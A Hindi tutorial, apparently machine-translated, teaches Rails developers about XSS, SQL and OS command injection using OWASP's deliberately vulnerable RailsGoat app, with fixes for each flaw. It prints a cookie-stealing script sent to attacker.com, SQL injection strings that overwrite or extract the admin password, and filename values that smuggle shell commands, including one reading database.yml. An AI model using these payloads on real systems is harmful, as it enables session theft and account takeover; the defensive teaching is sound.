यदि आप उपयोगकर्ता डेटा से निपटते हैं, तो आपको यह सुनिश्चित करना होगा कि यह सुरक्षित है। हालांकि, अगर आप सुरक्षा के लिए नए हैं, तो यह मुश्किल, उबाऊ और जटिल लग सकता है।
यह लेख श्रृंखला में पहला है जो आपको सामान्य प्रकार की सुरक्षा कमजोरियों के बारे में सिखाएगा और वे रेल विकास को कैसे प्रभावित करते हैं। हम इस इलाके के माध्यम से अपने मानचित्र के रूप में OWASP शीर्ष 10 वेब अनुप्रयोग सुरक्षा जोखिमों का उपयोग करेंगे।
OWASP का मतलब ओपन वेब एप्लिकेशन सुरक्षा प्रोजेक्ट है। यह विशेषज्ञों का एक समूह है जो वेब पर महत्वपूर्ण सुरक्षा मुद्दों के बारे में दुनिया को शिक्षित करने का काम करता है। उनका शीर्ष 10 सूची वेब अनुप्रयोगों में सबसे आम कमजोरियों की गणना करती है:
- इंजेक्शन
- टूटा हुआ प्रमाणीकरण
- संवेदनशील डेटा एक्सपोजर
- XML बाहरी इकाइयां (XXE)
- टूटा हुआ एक्सेस कंट्रोल
- सुरक्षा गलत कॉन्फ़िगरेशन
- क्रॉस-साइट स्क्रिप्टिंग (XSS)
- असुरक्षित अक्रमांकन
- ज्ञात कमजोरियों वाले घटकों का उपयोग करना
- अपर्याप्त लॉगिंग और निगरानी
हालांकि वे सूची को नियमित रूप से अपडेट करते हैं, लेकिन यह आपकी अपेक्षा से कम बदलता है। नई प्रौद्योगिकियां पुरानी समस्याओं का उत्तराधिकारी हैं। इस टुकड़े में, विशेष रूप से, हम इंजेक्शन से संबंधित तीन विषयों को शामिल करेंगे:
- जावास्क्रिप्ट इंजेक्शन - जब एप्लिकेशन अपने क्लाइंट से दुर्भावनापूर्ण डेटा स्वीकार करते हैं, तो डेटा को मान्य/स्वच्छता नहीं करते हैं, और इसे ब्राउज़र पर वापस भेजते हैं।
- एसक्यूएल इंजेक्शन - जब एसक्यूएल के टुकड़े जानबूझकर एक असुरक्षित एसक्यूएल दुभाषिया को डेटाबेस क्वेरी के हिस्से के रूप में भेजे जाते हैं, दुभाषिया को खतरनाक कमांड चलाने या संवेदनशील जानकारी तक पहुंचने के लिए धोखा देते हैं।
- OS इंजेक्शन - जब हमलावर असुरक्षित अनुप्रयोगों पर सिस्टम कमांड चलाने का लक्ष्य रखते हैं जो सिस्टम कमांड से डेटा इनपुट करते हैं।
हम पूरी तरह से यह प्रदर्शित करने के लिए सिद्धांत से व्यवहार तक जाएंगे कि उनमें से प्रत्येक कैसे काम करता है। तो, चलिए इसमें डुबकी लगाते हैं!
इंजेक्शन के खतरे
यदि आप अपने आवेदन में डेटा के स्रोत का प्रबंधन करते हैं, तो आपके पास इसके भीतर एक संभावित इंजेक्शन वेक्टर है। जब आपके ऐप्स को हैक करने के लिए रचनात्मक और नए तरीकों की बात आती है, तो हैकर्स नई सामग्री का आविष्कार करना जारी रखते हैं जो आपको आश्चर्यचकित कर देगा।
आइए इंजेक्शन के हमलों की दुनिया से शुरू करते हैं। अगर आपको लगता है कि आपका ऐप सैनिटाइज़ और सुरक्षित है, तो फिर से सोचें।
जावास्क्रिप्ट इंजेक्शन
जावास्क्रिप्ट इंजेक्शन, जिसे आमतौर पर क्रॉस-साइट स्क्रिप्टिंग (XSS) के रूप में जाना जाता है, दुर्भावनापूर्ण डेटा और/या स्क्रिप्ट को ब्राउज़र पर वापस भेजने के लिए बैकएंड एप्लिकेशन (जिस पर क्लाइंट भरोसा करता है) को धोखा देने के बारे में है।
जब ऐसा होता है, तो हमलावर उसका सत्र चुराने के लिए उपयोगकर्ता के ब्राउज़र में स्क्रिप्ट चला सकते हैं, एप्लिकेशन के नाम पर संवेदनशील जानकारी मांग सकते हैं, या उपयोगकर्ताओं को खतरनाक वेबसाइटों पर रीडायरेक्ट कर सकते हैं।
आइए एक उदाहरण के रूप में प्रसिद्ध ब्लॉग टिप्पणी अनुभाग को लें। कल्पना करें कि आपका एप्लिकेशन पूरी तरह से असुरक्षित है और आपके ब्लॉग में एक नई टिप्पणी के लिए एक POST प्राप्त करता है, और मूल्य बिना किसी स्वच्छता के सीधे डेटाबेस में जाता है:
POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>
जब आपकी वेबसाइट टिप्पणी अनुभाग को पुनः लोड करती है, तो वह नई टिप्पणी प्राप्त करेगी, जो ब्राउज़र पर दी गई स्क्रिप्ट को निष्पादित करेगी।
स्क्रिप्ट, जो एप्लिकेशन पेज (पूरी तरह से स्वीकार्य) के भीतर चलती है, उपयोगकर्ता की कुकी जानकारी प्राप्त करती है और इसे सीधे हमलावर की साइट पर भेजती है।
एसक्यूएल इंजेक्शन
SQL इंजेक्शन तब होता है जब कोई एप्लिकेशन जो SQL डेटाबेस से संबंधित होता है, जब भी यह इनपुट आपके किसी भी प्रश्न से जुड़ा (या प्रक्षेपित) होता है, तो उपयोगकर्ता के इनपुट को सुरक्षित रूप से साफ नहीं करता है।
SQL इंजेक्शन से जुड़े दो मुख्य खतरे हैं जिनसे आप रेल जगत में अवगत हो सकते हैं:इंजेक्शन संयोजन और प्रक्षेप . आइए अंतर देखें।
एसक्यूएल इंजेक्शन संयोजन सबसे प्रसिद्ध है; यह तब होता है जब हमलावर HTTP क्वेरी पैराम या अनुरोध निकाय के हिस्से के रूप में खतरनाक SQL के टुकड़े भेजता है। यह एक तरकीब है जो अधिकांश डेटाबेस के साथ काम करती है यदि आपकी एप्लिकेशन परतें इस प्रकार की सामग्री की पहचान करने और इसे साफ करने में असमर्थ हैं।
उदाहरण के तौर पर, कल्पना करें कि संवेदनशील जानकारी प्राप्त करने के लिए आप किसी उपयोगकर्ता से उसके उपयोगकर्ता नाम से पूछताछ कर रहे हैं:
User.where("name = '#{userName}'")
यह ध्यान में रखते हुए कि userName
गैर-स्वच्छ उपयोगकर्ता इनपुट है, एक हमलावर परम के मान को बदल सकता है
' OR '1'='1' --
नतीजतन, आपकी क्वेरी इस में रूपांतरित हो जाएगी:
SELECT * FROM users WHERE username = '' OR '1'='1';
चूंकि नवीनतम जोड़ी गई शर्त हमेशा true
. के बराबर होती है , इस क्वेरी को हमेशा निष्पादित किया जाएगा, जिससे आपके उपयोगकर्ताओं के सैकड़ों संवेदनशील डेटा उजागर हो जाएंगे।
एसक्यूएल इंटरपोलेशन इंजेक्शन लग सकता है। कैसे? क्या आपको याद है स्कोपिंग फीचर रेल के ActiveRecord का? यह हमें उन प्रश्नों को निर्दिष्ट करने की अनुमति देता है जिनका उपयोग आप विधि कॉल के रूप में संदर्भित करने के लिए करते हैं (जैसे where
, joins
, और includes
) एसोसिएशन ऑब्जेक्ट्स या मॉडल पर। यह उदाहरण लें:
class User < ApplicationRecord
scope :filtered_name, -> { where(name: interpolated_string) }
end
आपने बाकी का अनुमान लगा लिया होगा। अगर कोई where
है क्लॉज ताकि एक डेवलपर गैर-स्वच्छता वाले इनपुट मानों को जोड़ सके, यह पिछले उदाहरण में लगभग समान SQL इंजेक्शन की ओर ले जाएगा।
OS इंजेक्शन
OS इंजेक्शन तब होता है जब कोई एप्लिकेशन उपयोगकर्ताओं को सिस्टम-स्तरीय कमांड इनपुट करने की अनुमति देता है और उन्हें फ़िल्टर नहीं करता है।
परिणाम बहुत खतरनाक हो सकते हैं क्योंकि हमलावर के पास ओएस के लिए एक मुफ्त सुरंग होगी जिसमें एप्लिकेशन चल रहा है। OS आधार सुरक्षा परतों को कैसे सेट किया जाता है, इस पर निर्भर करते हुए, यह वहां चल रहे अन्य अनुप्रयोगों के डेटा और फ़ाइलों को भी प्रदर्शित कर सकता है।
जब भी आप रेल कोडबेस में निम्न में से कोई एक कोड लाइन देखते हैं, तो सावधान रहें कि वहां एक OS इंजेक्शन हो सकता है:
%x[...]
system()
exec()
`my command` // the backticks
निम्नलिखित रेल कार्यान्वयन पर विचार करें:
new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")
यह देखते हुए कि some_path
क्लाइंट से आ रहा है, एक हमलावर इस प्रकार मान भेज सकता है:
some_path = 'some/path; cat ./config/database.yml'
तुमने सही समझा? सभी डेटाबेस डेटा, क्रेडेंशियल सहित (यदि वे सुरक्षित रूप से कॉन्फ़िग क्लाउड में संग्रहीत नहीं हैं), हमलावर के संपर्क में आ जाएंगे।
रेल बकरी परियोजना
कुछ समय बचाने के लिए और खरोंच से कमजोर उदाहरणों का एक समूह विकसित करने से बचने के लिए, सौभाग्य से, हमारे पास RailsGoat परियोजना है। यह आधिकारिक ओडब्ल्यूएएसपी गिटहब रिपोजिटरी द्वारा प्रदान की गई असंख्य ओपन-सोर्स परियोजनाओं (754 परियोजनाओं) में से एक है, जो सुरक्षा खतरों पर डेवलपर्स को शिक्षित करने के उद्देश्य से प्रोग्राम की गई शीर्ष 10 कमजोरियों में से अधिकांश के साथ रेल के लिए बनाई गई है।
इस शृंखला में, हम जोखिम का थोड़ा और गहराई से पता लगाने के लिए परियोजना के नमूनों का उपयोग करेंगे, और इससे भी बेहतर, कार्रवाई में!
सेटअप
इससे पहले कि आप आगे बढ़ें, इस परियोजना में कुछ आवश्यक निर्भरताएँ हैं:रूबी, गिट, माईएसक्यूएल और पोस्टग्रेज। आगे बढ़ने से पहले सुनिश्चित करें कि उन सभी को आपकी मशीन पर स्थापित किया गया है।
परियोजना को स्थापित करने के लिए, पहले इसे स्थानीय रूप से क्लोन करें:
git clone https://github.com/OWASP/railsgoat.git
यह रूबी 2.6.5 में डिफ़ॉल्ट रूप से लक्षित है, इसलिए यदि आपके पास अभी भी यह नहीं है तो उचित संस्करण स्थापित करना सुनिश्चित करें:
rvm install "ruby-2.6.5"
इसके बाद, ऐप रूट फोल्डर में निम्नलिखित कमांड जारी करें:
bundle install
rails db:setup
rails s
वे रेल परियोजना निर्भरता को डाउनलोड और स्थापित करेंगे, डेटाबेस स्थापित करेंगे, और क्रमशः रेल सर्वर शुरू करेंगे।
कुछ समायोजन
आपके OS के आधार पर, और क्योंकि RailsGoat थोड़ा पुराना है (नवीनतम रिलीज़ मार्च 2018 को था), install
आदेश कुछ त्रुटियाँ उत्पन्न कर सकता है। उदाहरण के लिए, यदि आप Mac पर हैं, और अपने कंसोल पर निम्न त्रुटि का सामना करते हैं:
libv8 के बारे में कंसोल त्रुटि
फिर, बस आवश्यक रत्न स्थापित करें:
gem install libv8 -v '3.16.14.19' -- --with-system-v8
therubyracer . एक और जिसके लिए वह शायद दोष देगा वह है therubyracer रूबी के libv8 . के इस संस्करण से जुड़े बग के कारण मणि . निम्नलिखित कमांड चलाना सुनिश्चित करें:
brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/[email protected]
डिफ़ॉल्ट रूप से, वर्तमान सेटिंग्स SQLite को डिफ़ॉल्ट डेटाबेस मानेंगे। हालांकि, अगले उदाहरणों के लिए, हमें एक वास्तविक डेटाबेस की आवश्यकता होगी। हम MySQL का उपयोग करेंगे।
सबसे पहले, फ़ाइल खोलें config/database.yml, mysql
का पता लगाएं नोड, और कॉन्फ़िगरेशन को अपने MySQL क्रेडेंशियल्स के अनुसार बदलें। आप डेटाबेस नाम को वैसे ही छोड़ सकते हैं।
रेल सर्वर बंद करें, और सुनिश्चित करें कि MySQL ऊपर और चल रहा है; फिर, निम्न कमांड चलाएँ:
#Create the MySQL database
RAILS_ENV=mysql rails db:create
#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate
#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed
#Boot Rails using MySQl
RAILS_ENV=mysql rails s
वैकल्पिक रूप से, आप Docker के माध्यम से RailsGoat शुरू कर सकते हैं। यह आप पर निर्भर है!
इतना ही! अब, आप ब्राउज़र खोल सकते हैं और RailsGoat ऐप में लॉग इन कर सकते हैं। आपको टॉपबार के बटन "ट्यूटोरियल क्रेडेंशियल्स" पर उपलब्ध ऑटो-जेनरेटेड क्रेडेंशियल्स मिल सकते हैं। एक चुनें, लेकिन सुनिश्चित करें कि यह व्यवस्थापक उपयोगकर्ता नहीं है।
मेटाकॉर्प रेल एप्लिकेशन
HTTP प्रॉक्सी सेटअप
हैकर्स सामान, मुख्य रूप से HTTP अनुरोधों और प्रतिक्रियाओं को सूँघकर काम करते हैं। वे HTTP प्रॉक्सी एप्लिकेशन का उपयोग करते हैं जो अनुरोधों और प्रतिक्रियाओं को इंटरसेप्ट करके, विज़ुअलाइज़ करके और संशोधित करके ब्राउज़र और सर्वर के बीच चलते हैं।
इस श्रृंखला के लिए, हमें इनमें से एक की भी आवश्यकता होगी, और कार्य के लिए एकदम सही उपकरण बर्प है। यह एक एंटरप्राइज पेड-टूल है, लेकिन हमारे उद्देश्यों के लिए मुफ्त सामुदायिक संस्करण पर्याप्त से अधिक है। तो, आगे बढ़ें, आधिकारिक निर्देशों का पालन करके इसे डाउनलोड और इंस्टॉल करें।
याद रखें कि बर्प जावा के साथ बनाया गया है, इसलिए आपको जावा को भी इंस्टॉल करना होगा।
इसे ठीक से काम करने के लिए इन निर्देशों का पालन करना सुनिश्चित करें। टूल के खुलने के बाद, प्रॉक्सी> इंटरसेप्ट पर जाएं टैब पर, बटन को टॉगल करें "अवरोधन चालू है " और फिर "ब्राउज़र खोलें ". यह सीधे बर्प से जुड़ा एक Google क्रोमियम खोलेगा और हमें अनुरोधों/प्रतिक्रियाओं को समझने की अनुमति देगा।
वहां कुछ टाइप करें और देखें कि बर्प चीजों को कैसे ट्रैक करता है।
कार्रवाई में धमकी
आइए अब देखें कि हमने पहले जिन खतरों पर चर्चा की है उनमें से प्रत्येक वास्तविक दुनिया के परिदृश्यों में कैसे होता है। हम JavaScript इंजेक्शन के साथ शुरुआत करेंगे।
JavaScript इंजेक्शन इन एक्शन
RailsGoat ऐप में, _header.html.erb खोलें दृश्य/लेआउट/साझा . में स्थित फ़ाइल फ़ोल्डर। आप निम्न HTML स्निपेट का सामना कर सकते हैं:
<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>
खैर, यह पता चला है कि यह रेल विधि एक सुरक्षित नाम की मांग करती है, जो नहीं है। यह बताता है कि स्ट्रिंग को सुरक्षित माना जाता है या नहीं, लेकिन उपयोगकर्ता इनपुट को साफ नहीं करता है।
सुनिश्चित करें कि बर्प नहीं चल रहा है, और फिर पंजीकरण पृष्ठ पर जाएं और निम्नलिखित को "प्रथम नाम" फ़ील्ड में टाइप करें:
<script>alert("hello, XSS!")</script>
पंजीकरण समाप्त करें और नए बनाए गए उपयोगकर्ता के साथ लॉगिन करें। आप नेविगेशन बार को "Welcome " + the script code
. प्रदर्शित करते हुए देख सकते हैं ।
इसे कैसे हल करें
यह एक सामान्य गलतफहमी है। डेवलपर्स आमतौर पर इस पद्धति का उपयोग करते हैं, लेकिन यह डेटा को सुरक्षित नहीं करता है। इसके बजाय, आपको sanitize
. का उपयोग करना चाहिए जब भी आपको HTML को स्पष्ट रूप से प्रस्तुत करने की आवश्यकता हो।
उदाहरण में, बस .html_safe
remove को हटा दें , और हमले को समाप्त कर दिया जाएगा।
अपनी परियोजनाओं में सोनारक्यूब जैसे उपकरणों को शामिल करना एक अच्छा सुझाव होगा। ये टूल ऊपर दिए गए जैसे सामान्य खतरों की पहचान करते हैं और डेवलपर्स को खतरों और उन्हें ठीक करने के तरीके के बारे में सचेत करते हैं।
केवल डेवलपर की स्मृति पर निर्भर रहना अच्छा विचार नहीं है।
SQL इंजेक्शन:एक संयोजन उदाहरण
हमारा RailsGoat SQL इंजेक्शन उदाहरण users_controller.rb . के अंदर है , ऐप्लिकेशन/नियंत्रकों . के अंदर फ़ोल्डर। इसे खोलें और इसकी सामग्री की समीक्षा करें।
आप डेटाबेस में उपयोगकर्ता डेटा बनाने और अपडेट करने के लिए दो मुख्य तरीके देख सकते हैं। क्या आप हमारे update
में कुछ गड़बड़ी का पता लगा सकते हैं? तरीका? जाओ, इसे आजमाओ!
ये रहा:
user = User.where("id = '#{params[:user][:id]}'")[0]
आप जानते हैं कि जहां क्लॉज में सामान को जोड़ना सही नहीं है। लेकिन, इसे ठीक करने से पहले हैकिंग की संभावनाओं का परीक्षण करते हैं।
बर्प क्रोमियम ब्राउज़र पर चल रहे ऐप पर वापस जाएं और खाता सेटिंग पर नेविगेट करें मेनू:
खाता सेटिंग तक पहुंचना
वहां पहुंचने पर, बर्प टूल खोलें और सुनिश्चित करें कि बटन "अवरोधन चालू है " टॉगल किया गया है। फिर, कुछ मानों के साथ पासवर्ड फ़ील्ड भरें और सबमिट करें . पर क्लिक करें ।
बर्प अनुरोध को रोक देगा, और परम्स . के भीतर टैब में, आपको कुछ ऐसा दिखाई दे सकता है जो नीचे दिखाया गया है।
बर्प सूट टूल - पैराम्स टैब
हां, आपके सभी अनुरोध पैरामीटर यहां दिखाई दे रहे हैं। वे न केवल दृश्यमान हैं, बल्कि संपादन योग्य भी हैं। बर्प आपके अनुरोध को तब तक रोके रखेगा जब तक आप संपादन समाप्त नहीं कर लेते और फिर उसे सर्वर पर छोड़ देते हैं।
आप अपनी प्रतिक्रियाओं के लिए भी ऐसा ही कर सकते हैं।
बढ़िया, तो चलिए एप्लिकेशन को ट्रिक करते हैं। हमारा लक्ष्य वर्तमान लॉग-इन उपयोगकर्ता के बजाय व्यवस्थापक उपयोगकर्ता का पासवर्ड अपडेट करना है।
सबसे पहले, आपको उपयोगकर्ता का email
निकालना होगा , first_name
, और last_name
params क्योंकि हमारा उद्देश्य व्यवस्थापक उपयोगकर्ता के लिए इन मानों को बदलना नहीं है।
दूसरा, आप user[id]
. को संपादित कर सकते हैं निम्नलिखित के लिए परम मान:
0') OR admin = true -- '
यहाँ क्या चल रहा है? ऊपर दिखाया गया मान 6 वर्तमान लॉग उपयोगकर्ता आईडी को संदर्भित करता है। हालांकि, हम इस उपयोगकर्ता से संबंधित कुछ भी नहीं बदलना चाहते हैं, केवल व्यवस्थापक। शून्य किसी से संबंधित नहीं है, जो कि OR
. के बाद की स्थिति के बाद से अच्छा है वही हमारे लिए मायने रखता है।
यह ध्यान में रखते हुए कि हम व्यवस्थापक की आईडी नहीं जानते हैं (ठीक है, यदि आप जानते हैं, तो यह कुछ समय बचाएगा), हमें डेटाबेस को admin
के माध्यम से इसे चुनने के लिए छल करना होगा भूमिका स्तंभ।
संपादन समाप्त करने के बाद, अग्रेषित करें . क्लिक करें बटन ताकि अनुरोध जारी हो जाए, और व्यवस्थापक का पासवर्ड अपडेट हो जाए।
यह SQL रेल उत्पन्न करेगा:
SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')
अब, आगे बढ़ें और अपने नए पासवर्ड के साथ व्यवस्थापक खाते में लॉग इन करें।
इसे कैसे हल करें
इसे हल करने के कुछ सुरक्षित तरीके हैं। क्लाइंट अनुरोधों से क्या आ रहा है, इस पर ध्यान दिए बिना, आप अपडेट होने से पहले उपयोगकर्ता को हमेशा डेटाबेस से पुनर्प्राप्त कर सकते हैं।
हालांकि, यह डेवलपर की कोडिंग शैली पर निर्भर करता है, जिसकी हमेशा गारंटी नहीं होती है।
तो, यह बचाव के लिए पैरामीटरयुक्त डेटाबेस क्वेरी है! आइए देखें:
user = User.where("id = ?", params[:user][:id])[0]
यह इतना सरल है! कोई और हैकिंग नहीं।
SQL इंजेक्शन:एक इंटरपोलेशन उदाहरण
RailsGoat में, प्रत्येक अनुरोध डेटाबेस में ऑडिटिंग सुविधा के रूप में संग्रहीत किया जाता है। इस उदाहरण के लिए, आइए analytics.rb का विश्लेषण करें क्लास, जो hits_by_ip
. नामक स्कोप को स्टोर करती है . यह एक व्यवस्थापक सुविधा है जो डेटाबेस से अनुरोध डेटा को सूचीबद्ध करती है।
देखें कि यह मॉडल अपने दायरे में स्ट्रिंग्स को कैसे इंटरपोलेट करता है:
scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }
हालाँकि, यह दृष्टिकोण खतरनाक है! आइए देखें क्यों। चूंकि आप एक सामान्य उपयोगकर्ता के रूप में लॉग इन हैं, इसलिए कुछ मेनू दिखाई नहीं देंगे, लेकिन इसका मतलब यह नहीं है कि उनके समापन बिंदु उपलब्ध नहीं हैं। तो, आगे बढ़ें और https://localhost:3000/admin/1/analytics पते पर पहुंचें।
चूंकि हम लोकलहोस्ट स्तर पर काम कर रहे हैं, इसलिए आपको केवल 127.0.0.1 के तहत डेटा मिलेगा। आईपी. हालांकि, उत्पादन में, आप अपने क्लाइंट आईपी की खोज करेंगे।
तो, टाइप करें 127.0.0.1 "आईपी द्वारा खोजें . में " टेक्स्टबॉक्स और एंटर दबाएं। अपने बर्प टूल पर इंटरसेप्ट बटन को चालू करना न भूलें।
एक बार जब आप परम . पर हों टैब, आप जोड़ें . पर क्लिक कर सकते हैं URL . का नया पैरामीटर जोड़ने के लिए बटन टाइप करें और इसे निम्नलिखित नाम दें:
field[(select+group_concat(password)+from+users+where+admin=true)]
चूंकि स्कोप एक इंटरपोलेटेड स्ट्रिंग प्राप्त करता है, आप अपनी इच्छानुसार चुनिंदा क्वेरी में बस उतने नियम जोड़ सकते हैं। यह प्रश्न, विशेष रूप से, इसमें बदल जाएगा:
SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;
इसका मतलब है कि हम डेटाबेस से व्यवस्थापक हैशेड पासवर्ड प्राप्त कर रहे हैं और इसे सीधे हमारे विचार में प्रदर्शित कर रहे हैं:
व्यवस्थापक के हैश किए गए पासवर्ड के लिए क्वेरी करना
इसे कैसे हल करें?
सबसे पहले, सुनिश्चित करें कि आपके उपयोगकर्ताओं के पास केवल वही है जो उन्हें एक्सेस करना चाहिए। ऐसे समापन बिंदु पहुंच योग्य या असुरक्षित नहीं होने चाहिए।
एक अन्य निवारक दृष्टिकोण के रूप में, आप उन मूल्यों को श्वेतसूची में डाल सकते हैं जिन्हें स्वीकार किया जाना चाहिए और जिन्हें नहीं करना चाहिए उन्हें प्रतिबंधित कर सकते हैं। parse_field
पर एक नज़र डालें एक ही मॉडल वर्ग के भीतर विधि। यह सत्यापित करता है कि दी गई फ़ील्ड श्वेतसूची सरणी में शामिल है या नहीं।
इसलिए, मॉडल के दायरे को कॉल करने से पहले, आप पैरा पर पुनरावृति कर सकते हैं और जांच सकते हैं कि वे जाने के लिए ठीक हैं या नहीं। आइए इसे admin_controller.rb . की लाइन 18 को अपडेट करके करते हैं (जिसे स्कोप कहते हैं):
fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
OS इंजेक्शंस इन एक्शन
आइए RailsGoat में OS इंजेक्शन का एक उदाहरण देखें। benefits.rbखोलें ऐप/मॉडल . के अंतर्गत मॉडल फ़ोल्डर और उसका make_backup
देखें विधि।
यह विधि "लाभ फ़ॉर्म . के माध्यम से अपलोड की जा रही फ़ाइल की एक बैकअप प्रतिलिपि बनाती है "आवेदन का खंड। यहां कोई समस्या नहीं है, सिवाय इसके कि यह विधि system
. का उपयोग करती है आदेश:
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
यह पहली नजर में सही लगता है, लेकिन फिर से देखें। हम उपयोगकर्ता इनपुट से अन्य सिस्टम कमांड को पूरी तरह से जोड़ सकते हैं, और वे ठीक चलेंगे, जैसे कि एक फ़ाइल का निर्माण।
रुको, यह एक फ़ाइल अपलोड करने की सुविधा है; हम किसी फ़ाइल के इनपुट को कैसे अपडेट कर सकते हैं? आइए इसे क्रिया में देखें।
RailsGoat ऐप पर वापस जाएं, "लाभ फ़ॉर्म" मेनू पर क्लिक करें, अपनी पसंद की फ़ाइल चुनें, और अपना बर्प इंटरसेप्ट बटन चालू करें। फिर, अपलोड प्रारंभ करें . क्लिक करें ।
जब अनुरोध इंटरसेप्ट हो जाता है, तो आप नीचे दिखाए गए अनुसार इसकी हेडर सामग्री देख पाएंगे।
फाइल अपलोडिंग इंटरसेप्ट की गई
छवि में, आप दो हाइलाइट किए गए पैरामीटर देख सकते हैं:benefits[backup]
और benefits[upload]
।
हमें पहले वाले के मान को true
. में बदलना होगा चूंकि हम उस प्रवाह को सक्रिय करना चाहते हैं जो फ़ाइल का बैकअप बनाता है और इसलिए, जहां भेद्यता मौजूद है।
इसके बाद, filename
बदलें निम्नलिखित के लिए आपके दूसरे परम की संपत्ति:
filename="kid-2.png;+touch+abc.txt"
फिर, इंटरसेप्ट बटन को छोड़ दें। यह निष्पादन के अंत में एक नए कमांड में तब्दील हो जाएगा, जो abc.txt नामक एक नई फ़ाइल बनाता है। . सरल होने के अलावा, यह एक अच्छा उदाहरण है कि आपका प्रवाह कितना कमजोर हो सकता है और क्या यह हैकर्स के लिए एक आदर्श खेल का मैदान है।
ओएस इंजेक्शन से बचाव
यह थोड़ा स्पष्ट लग सकता है; कोई कमांड सिस्टम के माध्यम से फ़ाइल की प्रतिलिपि क्यों बना रहा है? आप वहां चल रहे लीगेसी एप्लिकेशन की संख्या से चौंक जाएंगे। उनमें से बहुत सारे विशाल कोडबेस से बने होते हैं, जो इस तरह की कमजोरियों का पता लगाने के काम को एक कठिन कार्य में बदल सकते हैं।
तो, हाँ, रूबी के FileUtils जैसे आधिकारिक आंतरिक पुस्तकालयों का उपयोग करें:
FileUtils.cp
"#{full_file_name}",
"#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
रैपिंग अप
आज, हमने इंजेक्शन सुरक्षा खतरों के अशांत पानी के माध्यम से नेविगेट किया। हालांकि यह टुकड़ा इंजेक्शन के मुद्दों के आसपास की सभी संबंधित समस्याओं को कवर नहीं करता है, यह सबसे प्रसिद्ध लोगों की खोज करता है, जैसा कि ओडब्ल्यूएएसपी द्वारा पहचाना गया है।
एक बोनस के रूप में, मैं कुछ महत्वपूर्ण लिंक प्रदान करूँगा जो विषय के बारे में आपके ज्ञान को बेहतर बनाने में मदद करेंगे। पहला, निश्चित रूप से, OWASP टॉप टेन लेख है; इसमें अन्य लेखों के बहुत से बाहरी लिंक हैं जिनमें उदाहरण और विभिन्न परिदृश्य शामिल हैं।
रेल एसक्यूएल इंजेक्शन समुदाय के कुछ सदस्यों द्वारा संकलित दस्तावेज है जो व्यावहारिक उदाहरणों के माध्यम से सामान्य एसक्यूएल इंजेक्शन को संबोधित करता है। अब तक हमने जो भी कवर किया है, उसके बाद इसे अवश्य पढ़ें।
अंतिम लेकिन कम से कम, आधिकारिक सुरक्षा रेल दस्तावेज़ उपलब्ध नहीं हैं। वे इंजेक्शन सहित रेल अनुप्रयोगों के भीतर सुरक्षा के संबंध में सब कुछ कवर करते हैं। इसलिए, इसे पूरी तरह से पढ़ना सुनिश्चित करें। अपनी पढ़ाई जारी रखें, और हम आपको अपने अगले पड़ाव पर देखेंगे!